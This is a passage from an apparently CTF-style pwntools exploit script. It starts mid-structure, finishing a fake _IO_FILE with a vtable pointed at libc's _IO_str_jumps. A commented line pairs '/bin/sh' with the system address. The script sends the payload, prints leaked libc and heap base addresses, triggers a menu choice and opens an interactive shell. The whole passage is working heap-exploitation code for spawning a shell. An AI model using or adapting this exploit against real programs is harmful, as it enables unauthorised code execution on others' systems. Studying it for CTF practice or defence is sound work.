0xc8: libc_base+0x1E9560#libc.sym['_IO_str_jumps']#vtable
},filler=b'\x00')
#payload = fake_io_file+b'/bin/sh\x00'+p64(system_addr)*2
r.send(payload)
success("libc_base -> "+hex(libc_base))
success("heap_base -> "+hex(heap_base))
#pwndbg()
r.sendlineafter("Choice: ",'5')
r.sendlineafter("user:\n",b'')
r.interactive()